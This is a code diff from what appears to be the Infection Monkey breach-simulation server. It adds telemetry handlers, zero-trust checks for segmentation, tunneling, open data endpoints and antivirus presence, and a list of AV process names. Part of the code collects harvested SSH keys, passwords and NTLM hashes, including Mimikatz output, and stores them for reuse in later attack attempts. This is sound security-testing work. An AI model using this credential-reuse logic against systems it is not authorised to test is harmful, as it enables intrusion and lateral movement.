+from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry
+from monkey_island.cc.services.telemetry.zero_trust_tests.data_endpoints import test_open_data_endpoints
+from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import test_segmentation_violation
+
+
+def process_scan_telemetry(telemetry_json):
+ update_edges_and_nodes_based_on_scan_telemetry(telemetry_json)
+ test_open_data_endpoints(telemetry_json)
+
+ current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+ target_ip = telemetry_json['data']['machine']['ip_addr']
+ test_segmentation_violation(current_monkey, target_ip)
+
+
+def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json):
+ edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
+ data = copy.deepcopy(telemetry_json['data']['machine'])
+ ip_address = data.pop("ip_addr")
+ domain_name = data.pop("domain_name")
+ new_scan = \
+ {
+ "timestamp": telemetry_json["timestamp"],
+ "data": data
+ }
+ mongo.db.edge.update(
+ {"_id": edge["_id"]},
+ {"$push": {"scans": new_scan},
+ "$set": {"ip_address": ip_address, 'domain_name': domain_name}}
+ )
+ node = mongo.db.node.find_one({"_id": edge["to"]})
+ if node is not None:
+ scan_os = new_scan["data"]["os"]
+ if "type" in scan_os:
+ mongo.db.node.update({"_id": node["_id"]},
+ {"$set": {"os.type": scan_os["type"]}},
+ upsert=False)
+ if "version" in scan_os:
+ mongo.db.node.update({"_id": node["_id"]},
+ {"$set": {"os.version": scan_os["version"]}},
+ upsert=False)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/state.py b/monkey/monkey_island/cc/services/telemetry/processing/state.py
new file mode 100644
index 000000000..4e164e900
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/state.py
@@ -0,0 +1,17 @@
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import \
+ test_passed_findings_for_unreached_segments
+
+
+def process_state_telemetry(telemetry_json):
+ monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
+ NodeService.add_communication_info(monkey, telemetry_json['command_control_channel'])
+ if telemetry_json['data']['done']:
+ NodeService.set_monkey_dead(monkey, True)
+ else:
+ NodeService.set_monkey_dead(monkey, False)
+
+ if telemetry_json['data']['done']:
+ current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+ test_passed_findings_for_unreached_segments(current_monkey)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py
new file mode 100644
index 000000000..a970c0cd4
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info.py
@@ -0,0 +1,105 @@
+from monkey_island.cc.database import mongo
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.services import mimikatz_utils
+from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.config import ConfigService
+from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence import test_antivirus_existence
+from monkey_island.cc.services.wmi_handler import WMIHandler
+from monkey_island.cc.encryptor import encryptor
+
+
+def process_system_info_telemetry(telemetry_json):
+ process_ssh_info(telemetry_json)
+ process_credential_info(telemetry_json)
+ process_mimikatz_and_wmi_info(telemetry_json)
+ process_aws_data(telemetry_json)
+ update_db_with_new_hostname(telemetry_json)
+ test_antivirus_existence(telemetry_json)
+
+
+def process_ssh_info(telemetry_json):
+ if 'ssh_info' in telemetry_json['data']:
+ ssh_info = telemetry_json['data']['ssh_info']
+ encrypt_system_info_ssh_keys(ssh_info)
+ if telemetry_json['data']['network_info']['networks']:
+ # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry
+ add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
+ add_system_info_ssh_keys_to_config(ssh_info)
+
+
+def add_system_info_ssh_keys_to_config(ssh_info):
+ for user in ssh_info:
+ ConfigService.creds_add_username(user['name'])
+ # Public key is useless without private key
+ if user['public_key'] and user['private_key']:
+ ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
+ user['name'], user['ip'])
+
+
+def add_ip_to_ssh_keys(ip, ssh_info):
+ for key in ssh_info:
+ key['ip'] = ip['addr']
+
+
+def encrypt_system_info_ssh_keys(ssh_info):
+ for idx, user in enumerate(ssh_info):
+ for field in ['public_key', 'private_key', 'known_hosts']:
+ if ssh_info[idx][field]:
+ ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
+
+
+def process_credential_info(telemetry_json):
+ if 'credentials' in telemetry_json['data']:
+ creds = telemetry_json['data']['credentials']
+ encrypt_system_info_creds(creds)
+ add_system_info_creds_to_config(creds)
+ replace_user_dot_with_comma(creds)
+
+
+def replace_user_dot_with_comma(creds):
+ for user in creds:
+ if -1 != user.find('.'):
+ new_user = user.replace('.', ',')
+ creds[new_user] = creds.pop(user)
+
+
+def add_system_info_creds_to_config(creds):
+ for user in creds:
+ ConfigService.creds_add_username(user)
+ if 'password' in creds[user]:
+ ConfigService.creds_add_password(creds[user]['password'])
+ if 'lm_hash' in creds[user]:
+ ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
+ if 'ntlm_hash' in creds[user]:
+ ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
+
+
+def encrypt_system_info_creds(creds):
+ for user in creds:
+ for field in ['password', 'lm_hash', 'ntlm_hash']:
+ if field in creds[user]:
+ # this encoding is because we might run into passwords which are not pure ASCII
+ creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
+
+
+def process_mimikatz_and_wmi_info(telemetry_json):
+ users_secrets = {}
+ if 'mimikatz' in telemetry_json['data']:
+ users_secrets = mimikatz_utils.MimikatzSecrets. \
+ extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', ''))
+ if 'wmi' in telemetry_json['data']:
+ monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
+ wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets)
+ wmi_handler.process_and_handle_wmi_info()
+
+
+def process_aws_data(telemetry_json):
+ if 'aws' in telemetry_json['data']:
+ if 'instance_id' in telemetry_json['data']['aws']:
+ monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id')
+ mongo.db.monkey.update_one({'_id': monkey_id},
+ {'$set': {'aws_instance_id': telemetry_json['data']['aws']['instance_id']}})
+
+
+def update_db_with_new_hostname(telemetry_json):
+ Monkey.get_single_monkey_by_id(telemetry_json['_id']).set_hostname(telemetry_json['data']['hostname'])
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py
new file mode 100644
index 000000000..1598b144a
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py
@@ -0,0 +1,13 @@
+from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field
+from monkey_island.cc.services.telemetry.zero_trust_tests.tunneling import test_tunneling_violation
+
+
+def process_tunnel_telemetry(telemetry_json):
+ test_tunneling_violation(telemetry_json)
+ monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
+ if telemetry_json['data']['proxy'] is not None:
+ tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(telemetry_json)
+ NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip)
+ else:
+ NodeService.unset_all_monkey_tunnels(monkey_id)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/utils.py b/monkey/monkey_island/cc/services/telemetry/processing/utils.py
new file mode 100644
index 000000000..466b81bf1
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/processing/utils.py
@@ -0,0 +1,18 @@
+from monkey_island.cc.services.edge import EdgeService
+from monkey_island.cc.services.node import NodeService
+
+
+def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
+ dst_ip = telemetry_json['data']['machine']['ip_addr']
+ dst_domain_name = telemetry_json['data']['machine']['domain_name']
+ src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
+ dst_node = NodeService.get_monkey_by_ip(dst_ip)
+ if dst_node is None:
+ dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name)
+
+ return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
+
+
+def get_tunnel_host_ip_from_proxy_field(telemetry_json):
+ tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
+ return tunnel_host_ip
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py
new file mode 100644
index 000000000..b8b8c559b
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py
@@ -0,0 +1,47 @@
+import json
+
+from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, \
+ STATUS_PASSED, STATUS_FAILED, TEST_ENDPOINT_SECURITY_EXISTS
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.services.telemetry.zero_trust_tests.known_anti_viruses import ANTI_VIRUS_KNOWN_PROCESS_NAMES
+
+
+def test_antivirus_existence(telemetry_json):
+ current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+ if 'process_list' in telemetry_json['data']:
+ process_list_event = Event.create_event(
+ title="Process list",
+ message="Monkey on {} scanned the process list".format(current_monkey.hostname),
+ event_type=EVENT_TYPE_MONKEY_LOCAL)
+ events = [process_list_event]
+
+ av_processes = filter_av_processes(telemetry_json)
+
+ for process in av_processes:
+ events.append(Event.create_event(
+ title="Found AV process",
+ message="The process '{}' was recognized as an Anti Virus process. Process "
+ "details: {}".format(process[1]['name'], json.dumps(process[1])),
+ event_type=EVENT_TYPE_MONKEY_LOCAL
+ ))
+
+ if len(av_processes) > 0:
+ test_status = STATUS_PASSED
+ else:
+ test_status = STATUS_FAILED
+ AggregateFinding.create_or_add_to_existing(
+ test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events
+ )
+
+
+def filter_av_processes(telemetry_json):
+ all_processes = telemetry_json['data']['process_list'].items()
+ av_processes = []
+ for process in all_processes:
+ process_name = process[1]['name']
+ # This is for case-insensitive `in`. Generator expression is to save memory.
+ if process_name.upper() in (known_av_name.upper() for known_av_name in ANTI_VIRUS_KNOWN_PROCESS_NAMES):
+ av_processes.append(process)
+ return av_processes
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
new file mode 100644
index 000000000..6c5b1154b
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py
@@ -0,0 +1,37 @@
+from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK, STATUS_FAILED, TEST_COMMUNICATE_AS_NEW_USER, \
+ STATUS_PASSED
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding
+from monkey_island.cc.models.zero_trust.event import Event
+
+COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}"
+COMM_AS_NEW_USER_SUCCEEDED_FORMAT = \
+ "New user created by Monkey on {} successfully tried to communicate with the internet. Details: {}"
+
+
+def test_new_user_communication(current_monkey, success, message):
+ AggregateFinding.create_or_add_to_existing(
+ test=TEST_COMMUNICATE_AS_NEW_USER,
+ # If the monkey succeeded to create a user, then the test failed.
+ status=STATUS_FAILED if success else STATUS_PASSED,
+ events=[
+ get_attempt_event(current_monkey),
+ get_result_event(current_monkey, message, success)
+ ]
+ )
+
+
+def get_attempt_event(current_monkey):
+ tried_to_communicate_event = Event.create_event(
+ title="Communicate as new user",
+ message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname),
+ event_type=EVENT_TYPE_MONKEY_NETWORK)
+ return tried_to_communicate_event
+
+
+def get_result_event(current_monkey, message, success):
+ message_format = COMM_AS_NEW_USER_SUCCEEDED_FORMAT if success else COMM_AS_NEW_USER_FAILED_FORMAT
+
+ return Event.create_event(
+ title="Communicate as new user",
+ message=message_format.format(current_monkey.hostname, message),
+ event_type=EVENT_TYPE_MONKEY_NETWORK)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
new file mode 100644
index 000000000..68a7f713d
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py
@@ -0,0 +1,70 @@
+import json
+
+from common.data.network_consts import ES_SERVICE
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline
+from monkey_island.cc.models.zero_trust.event import Event
+
+HTTP_SERVERS_SERVICES_NAMES = ['tcp-80']
+
+
+def test_open_data_endpoints(telemetry_json):
+ services = telemetry_json["data"]["machine"]["services"]
+ current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid'])
+ found_http_server_status = STATUS_PASSED
+ found_elastic_search_server = STATUS_PASSED
+
+ events = [
+ Event.create_event(
+ title="Scan Telemetry",
+ message="Monkey on {} tried to perform a network scan, the target was {}.".format(
+ current_monkey.hostname,
+ telemetry_json["data"]["machine"]["ip_addr"]),
+ event_type=EVENT_TYPE_MONKEY_NETWORK,
+ timestamp=telemetry_json["timestamp"]
+ )
+ ]
+
+ for service_name, service_data in services.items():
+ events.append(Event.create_event(
+ title="Scan telemetry analysis",
+ message="Scanned service: {}.".format(service_name),
+ event_type=EVENT_TYPE_MONKEY_NETWORK
+ ))
+ if service_name in HTTP_SERVERS_SERVICES_NAMES:
+ found_http_server_status = STATUS_FAILED
+ events.append(Event.create_event(
+ title="Scan telemetry analysis",
+ message="Service {} on {} recognized as an open data endpoint! Service details: {}".format(
+ service_data["display_name"],
+ telemetry_json["data"]["machine"]["ip_addr"],
+ json.dumps(service_data)
+ ),
+ event_type=EVENT_TYPE_MONKEY_NETWORK
+ ))
+ if service_name == ES_SERVICE:
+ found_elastic_search_server = STATUS_FAILED
+ events.append(Event.create_event(
+ title="Scan telemetry analysis",
+ message="Service {} on {} recognized as an open data endpoint! Service details: {}".format(
+ service_data["display_name"],
+ telemetry_json["data"]["machine"]["ip_addr"],
+ json.dumps(service_data)
+ ),
+ event_type=EVENT_TYPE_MONKEY_NETWORK
+ ))
+
+ AggregateFinding.create_or_add_to_existing(
+ test=TEST_DATA_ENDPOINT_HTTP,
+ status=found_http_server_status,
+ events=events
+ )
+
+ AggregateFinding.create_or_add_to_existing(
+ test=TEST_DATA_ENDPOINT_ELASTIC,
+ status=found_elastic_search_server,
+ events=events
+ )
+
+ add_malicious_activity_to_timeline(events)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py
new file mode 100644
index 000000000..e5d7c2355
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/known_anti_viruses.py
@@ -0,0 +1,87 @@
+ANTI_VIRUS_KNOWN_PROCESS_NAMES = [
+ u"AvastSvc.exe",
+ u"AvastUI.exe",
+ u"avcenter.exe",
+ u"avconfig.exe",
+ u"avgcsrvx.exe",
+ u"avgidsagent.exe",
+ u"avgnt.exe",
+ u"avgrsx.exe",
+ u"avguard.exe",
+ u"avgui.exe",
+ u"avgwdsvc.exe",
+ u"avp.exe",
+ u"avscan.exe",
+ u"bdagent.exe",
+ u"ccuac.exe",
+ u"egui.exe",
+ u"hijackthis.exe",
+ u"instup.exe",
+ u"keyscrambler.exe",
+ u"mbam.exe",
+ u"mbamgui.exe",
+ u"mbampt.exe",
+ u"mbamscheduler.exe",
+ u"mbamservice.exe",
+ u"MpCmdRun.exe",
+ u"MSASCui.exe",
+ u"MsMpEng.exe",
+ u"rstrui.exe",
+ u"spybotsd.exe",
+ u"zlclient.exe",
+ u"SymCorpUI.exe",
+ u"ccSvcHst.exe",
+ u"ccApp.exe",
+ u"LUALL.exe",
+ u"SMC.exe",
+ u"SMCgui.exe",
+ u"Rtvscan.exe",
+ u"LuComServer.exe",
+ u"ProtectionUtilSurrogate.exe",
+ u"ClientRemote.exe",
+ u"SemSvc.exe",
+ u"SemLaunchSvc.exe",
+ u"sesmcontinst.exe",
+ u"LuCatalog.exe",
+ u"LUALL.exe",
+ u"LuCallbackProxy.exe",
+ u"LuComServer_3_3.exe",
+ u"httpd.exe",
+ u"dbisqlc.exe",
+ u"dbsrv16.exe",
+ u"semapisrv.exe",
+ u"snac64.exe",
+ u"AutoExcl.exe",
+ u"DoScan.exe",
+ u"nlnhook.exe",
+ u"SavUI.exe",
+ u"SepLiveUpdate.exe",
+ u"Smc.exe",
+ u"SmcGui.exe",
+ u"SymCorpUI.exe",
+ u"symerr.exe",
+ u"ccSvcHst.exe",
+ u"DevViewer.exe",
+ u"DWHWizrd.exe",
+ u"RtvStart.exe",
+ u"roru.exe",
+ u"WSCSAvNotifier",
+ # Guardicore Centra
+ # Linux
+ u"gc-agents-service",
+ u"gc-guest-agent",
+ u"gc-guardig",
+ u"gc-digger",
+ u"gc-fastpath",
+ u"gc-enforcement-agent",
+ u"gc-enforcement-channel",
+ u"gc-detection-agent",
+ # Windows
+ u"gc-guest-agent.exe",
+ u"gc-windig.exe",
+ u"gc-digger.exe",
+ u"gc-fastpath.exe",
+ u"gc-enforcement-channel.exe",
+ u"gc-enforcement-agent.exe",
+ u"gc-agent-ui.exe"
+]
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
new file mode 100644
index 000000000..454f3a7fe
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py
@@ -0,0 +1,39 @@
+from common.data.zero_trust_consts import *
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline
+from monkey_island.cc.models.zero_trust.event import Event
+
+
+def test_machine_exploited(current_monkey, exploit_successful, exploiter, target_ip, timestamp):
+ events = [
+ Event.create_event(
+ title="Exploit attempt",
+ message="Monkey on {} attempted to exploit {} using {}.".format(
+ current_monkey.hostname,
+ target_ip,
+ exploiter),
+ event_type=EVENT_TYPE_MONKEY_NETWORK,
+ timestamp=timestamp
+ )
+ ]
+ status = STATUS_PASSED
+ if exploit_successful:
+ events.append(
+ Event.create_event(
+ title="Exploit success!",
+ message="Monkey on {} successfully exploited {} using {}.".format(
+ current_monkey.hostname,
+ target_ip,
+ exploiter),
+ event_type=EVENT_TYPE_MONKEY_NETWORK,
+ timestamp=timestamp)
+ )
+ status = STATUS_FAILED
+
+ AggregateFinding.create_or_add_to_existing(
+ test=TEST_MACHINE_EXPLOITED,
+ status=status,
+ events=events
+ )
+
+ add_malicious_activity_to_timeline(events)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py
new file mode 100644
index 000000000..50e60e493
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py
@@ -0,0 +1,110 @@
+import itertools
+from six import text_type
+
+from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED
+from common.network.network_range import NetworkRange
+from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst, get_ip_if_in_subnet
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding
+from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
+
+SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \
+ "from `{src_seg}` segments to `{dst_seg}` segments."
+
+SEGMENTATION_VIOLATION_EVENT_TEXT = \
+ "Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \
+ "managed to communicate cross segment to {target_ip} (in segment {target_seg})."
+
+
+def test_segmentation_violation(current_monkey, target_ip):
+ # TODO - lower code duplication between this and report.py.
+ subnet_groups = get_config_network_segments_as_subnet_groups()
+ for subnet_group in subnet_groups:
+ subnet_pairs = itertools.product(subnet_group, subnet_group)
+ for subnet_pair in subnet_pairs:
+ source_subnet = subnet_pair[0]
+ target_subnet = subnet_pair[1]
+ if is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet):
+ event = get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet)
+ SegmentationFinding.create_or_add_to_existing_finding(
+ subnets=[source_subnet, target_subnet],
+ status=STATUS_FAILED,
+ segmentation_event=event
+ )
+
+
+def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet):
+ # type: (Monkey, str, str, str) -> bool
+ """
+ Checks is a specific communication is a segmentation violation.
+ :param current_monkey: The source monkey which originated the communication.
+ :param target_ip: The target with which the current monkey communicated with.
+ :param source_subnet: The segment the monkey belongs to.
+ :param target_subnet: Another segment which the monkey isn't supposed to communicate with.
+ :return: True if this is a violation of segmentation between source_subnet and target_subnet; Otherwise, False.
+ """
+ if source_subnet == target_subnet:
+ return False
+ source_subnet_range = NetworkRange.get_range_obj(source_subnet)
+ target_subnet_range = NetworkRange.get_range_obj(target_subnet)
+
+ if target_subnet_range.is_in_range(text_type(target_ip)):
+ cross_segment_ip = get_ip_in_src_and_not_in_dst(
+ current_monkey.ip_addresses,
+ source_subnet_range,
+ target_subnet_range)
+
+ return cross_segment_ip is not None
+
+
+def get_segmentation_violation_event(current_monkey, source_subnet, target_ip, target_subnet):
+ return Event.create_event(
+ title="Segmentation event",
+ message=SEGMENTATION_VIOLATION_EVENT_TEXT.format(
+ hostname=current_monkey.hostname,
+ source_ip=get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(source_subnet)),
+ source_seg=source_subnet,
+ target_ip=target_ip,
+ target_seg=target_subnet
+ ),
+ event_type=EVENT_TYPE_MONKEY_NETWORK
+ )
+
+
+def test_passed_findings_for_unreached_segments(current_monkey):
+ flat_all_subnets = [item for sublist in get_config_network_segments_as_subnet_groups() for item in sublist]
+ create_or_add_findings_for_all_pairs(flat_all_subnets, current_monkey)
+
+
+def create_or_add_findings_for_all_pairs(all_subnets, current_monkey):
+ # Filter the subnets that this monkey is part of.
+ this_monkey_subnets = []
+ for subnet in all_subnets:
+ if get_ip_if_in_subnet(current_monkey.ip_addresses, NetworkRange.get_range_obj(subnet)) is not None:
+ this_monkey_subnets.append(subnet)
+
+ # Get all the other subnets.
+ other_subnets = list(set(all_subnets) - set(this_monkey_subnets))
+
+ # Calculate the cartesian product - (this monkey subnets X other subnets). These pairs are the pairs that the monkey
+ # should have tested.
+ all_subnets_pairs_for_this_monkey = itertools.product(this_monkey_subnets, other_subnets)
+
+ for subnet_pair in all_subnets_pairs_for_this_monkey:
+ SegmentationFinding.create_or_add_to_existing_finding(
+ subnets=list(subnet_pair),
+ status=STATUS_PASSED,
+ segmentation_event=get_segmentation_done_event(current_monkey, subnet_pair)
+ )
+
+
+def get_segmentation_done_event(current_monkey, subnet_pair):
+ return Event.create_event(
+ title="Segmentation test done",
+ message=SEGMENTATION_DONE_EVENT_TEXT.format(
+ hostname=current_monkey.hostname,
+ src_seg=subnet_pair[0],
+ dst_seg=subnet_pair[1]),
+ event_type=EVENT_TYPE_MONKEY_NETWORK
+ )
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py
new file mode 100644
index 000000000..5f986e3b5
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/test_segmentation_zt_tests.py
@@ -0,0 +1,46 @@
+import uuid
+
+from common.data.zero_trust_consts import TEST_SEGMENTATION, STATUS_PASSED, STATUS_FAILED, \
+ EVENT_TYPE_MONKEY_NETWORK
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.models.zero_trust.finding import Finding
+from monkey_island.cc.models.zero_trust.segmentation_finding import SegmentationFinding
+from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import create_or_add_findings_for_all_pairs
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+FIRST_SUBNET = "1.1.1.1"
+SECOND_SUBNET = "2.2.2.0/24"
+THIRD_SUBNET = "3.3.3.3-3.3.3.200"
+
+
+class TestSegmentationTests(IslandTestCase):
+ def test_create_findings_for_all_done_pairs(self):
+ self.fail_if_not_testing_env()
+ self.clean_finding_db()
+
+ all_subnets = [FIRST_SUBNET, SECOND_SUBNET, THIRD_SUBNET]
+
+ monkey = Monkey(
+ guid=str(uuid.uuid4()),
+ ip_addresses=[FIRST_SUBNET])
+
+ # no findings
+ self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 0)
+
+ # This is like the monkey is done and sent done telem
+ create_or_add_findings_for_all_pairs(all_subnets, monkey)
+
+ # There are 2 subnets in which the monkey is NOT
+ self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 2)
+
+ # This is a monkey from 2nd subnet communicated with 1st subnet.
+ SegmentationFinding.create_or_add_to_existing_finding(
+ [FIRST_SUBNET, SECOND_SUBNET],
+ STATUS_FAILED,
+ Event.create_event(title="sdf", message="asd", event_type=EVENT_TYPE_MONKEY_NETWORK)
+ )
+
+ self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_PASSED)), 1)
+ self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION, status=STATUS_FAILED)), 1)
+ self.assertEquals(len(Finding.objects(test=TEST_SEGMENTATION)), 2)
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py
new file mode 100644
index 000000000..ce34c2bb4
--- /dev/null
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py
@@ -0,0 +1,27 @@
+from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding, add_malicious_activity_to_timeline
+from monkey_island.cc.models.zero_trust.event import Event
+from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field
+
+
+def test_tunneling_violation(tunnel_telemetry_json):
+ if tunnel_telemetry_json['data']['proxy'] is not None:
+ # Monkey is tunneling, create findings
+ tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(tunnel_telemetry_json)
+ current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json['monkey_guid'])
+ tunneling_events = [Event.create_event(
+ title="Tunneling event",
+ message="Monkey on {hostname} tunneled traffic through {proxy}.".format(
+ hostname=current_monkey.hostname, proxy=tunnel_host_ip),
+ event_type=EVENT_TYPE_MONKEY_NETWORK,
+ timestamp=tunnel_telemetry_json['timestamp']
+ )]
+
+ AggregateFinding.create_or_add_to_existing(
+ test=TEST_TUNNELING,
+ status=STATUS_FAILED,
+ events=tunneling_events
+ )
+
+ add_malicious_activity_to_timeline(tunneling_events)
diff --git a/monkey/monkey_island/cc/testing/IslandTestCase.py b/monkey/monkey_island/cc/testing/IslandTestCase.py
new file mode 100644
index 000000000..6bca20f4a
--- /dev/null
+++ b/monkey/monkey_island/cc/testing/IslandTestCase.py
@@ -0,0 +1,17 @@
+import unittest
+from monkey_island.cc.environment.environment import env
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.models.zero_trust.finding import Finding
+
+
+class IslandTestCase(unittest.TestCase):
+ def fail_if_not_testing_env(self):
+ self.failIf(not env.testing, "Change server_config.json to testing environment.")
+
+ @staticmethod
+ def clean_monkey_db():
+ Monkey.objects().delete()
+
+ @staticmethod
+ def clean_finding_db():
+ Finding.objects().delete()
diff --git a/monkey/monkey_island/cc/testing/__init__.py b/monkey/monkey_island/cc/testing/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index 58208ef24..f366d73bd 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -156,18 +156,23 @@
}
},
"@babel/runtime-corejs2": {
- "version": "7.1.5",
- "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.1.5.tgz",
- "integrity": "sha512-WsYRwQsFhVmxkAqwypPTZyV9GpkqMEaAr2zOItOmqSX2GBFaI+eq98CN81e13o0zaUKJOQGYyjhNVqj56nnkYg==",
+ "version": "7.4.3",
+ "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.4.3.tgz",
